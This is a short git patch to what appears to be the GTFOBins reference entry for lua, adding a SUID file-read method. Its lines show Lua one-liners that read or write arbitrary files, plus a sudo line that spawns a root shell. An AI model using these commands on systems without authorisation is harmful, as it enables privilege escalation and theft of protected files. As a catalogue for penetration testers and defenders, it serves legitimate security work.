From ae8271292a39072404d67e155cd6028561bb643f Mon Sep 17 00:00:00 2001 From: Shikata Date: Tue, 12 Jan 2021 13:50:43 +0200 Subject: [PATCH] Add SUID [file read] category to lua --- _gtfobins/lua.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/_gtfobins/lua.md b/_gtfobins/lua.md index 6686bf5..0e634cc 100644 --- a/_gtfobins/lua.md +++ b/_gtfobins/lua.md @@ -59,6 +59,8 @@ functions: - code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);' file-read: - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' + suid: + - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' sudo: - code: sudo lua -e 'os.execute("/bin/sh")' limited-suid: